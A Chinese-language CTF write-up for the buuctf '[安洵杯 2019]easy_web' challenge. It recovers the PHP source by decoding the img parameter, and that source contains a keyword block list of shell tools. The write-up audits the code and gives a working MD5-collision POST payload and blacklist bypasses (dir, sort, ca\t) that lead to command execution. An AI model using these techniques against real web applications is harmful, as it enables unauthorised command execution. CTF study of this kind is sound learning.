解题的痛苦经历
每次解web题都是一次难忘的经历,这次也不意外。虽然途中有很多次奔溃了,但是没办法,菜就是原罪。通过这道题也学到不少知识。
- GET和POST方法:这俩种请求方法在BP里不要随便修改这俩种方法在请求报文中有一定的差别,需要POST数据时请求方法要用POST不是GET。
- hackbar和BP:选择这俩个方式提交请求也有区别,尽量不要使用hackbar来发请求然后BP再拦截请求,要用就用一个,用BP更好一些。
考点
- 信息解锁
- 代码审计
- MD5强碰撞
- RCE绕过
- PHP反斜杠\匹配问题
解题过程
看一看源代码 一个base64的编码,但是解码不出来估计是图片什么的加密。 观察url发现有俩个参数img貌似是一个base64加密后的码,经过俩次base64解密和一次hex解码后发现是555.png,访问这一个图片。原来是那个流泪的熊猫,猜测是不是把flag.php经过一顿编码操作是不是也可以在网页源码中看到base64编码后的源代码,尝试一下无果,xixi~ no flag。既然不能是flag.php,看一下其他文件获取能得到结果,尝试index.php。最后得到了
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
关键信息,终于得到了。接下来就是代码审计了
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
前面部分比较简单,所以就不说明了。看这一部分,$file 变量部分先进行正则表达式判断然后if判断是否存在flag,很明显过滤了flag仔细考究后通过这一部分是读取不到flag.php的。接着往下看吧。
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
看到了echo ``,这是RCE命令执行PHP执行运算符 。绕过俩个if即可执行命令,第二个if是MD5强碰撞。参考文章:PHP弱类型&&md5碰撞总结。因为是POST传参所以要用POST请求。
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
过滤了ls 没关系还可以使用dir 查看目录,cat被过滤可以使用ca\t 绕过或者·使用sort 。(因为url编码的问题要把空格改为+ 或者%20 ,不是因为过滤。) 这里可能就会产生疑问\ 不是已经被过滤了吗,那么这为什么还可以使用\ 呢?PHP反斜杠匹配问题 在preg_match中要过滤\ 是需要四个\\\\ 才可以达到目的,经过两次解析,第一层Php解析器解析成\\ ,然后正则匹配解析成,所以只过滤了一个\ 出题人这里大概是想过滤\\ 和\ , 但是写法出错了 |\\| 实际上经过php解析器后成,然后再经过正则解析成| ,所以就成了过滤| ,然后再与后面的|\\\\| 拼接,|\\|\\\\| 实际上过滤的是|\
参考文章
buuctf [安洵杯 2019]easy_web 记录 php如何调用linux命令 PHP执行运算符 PHP弱类型&&md5碰撞总结 php正则错误反斜杠过滤
|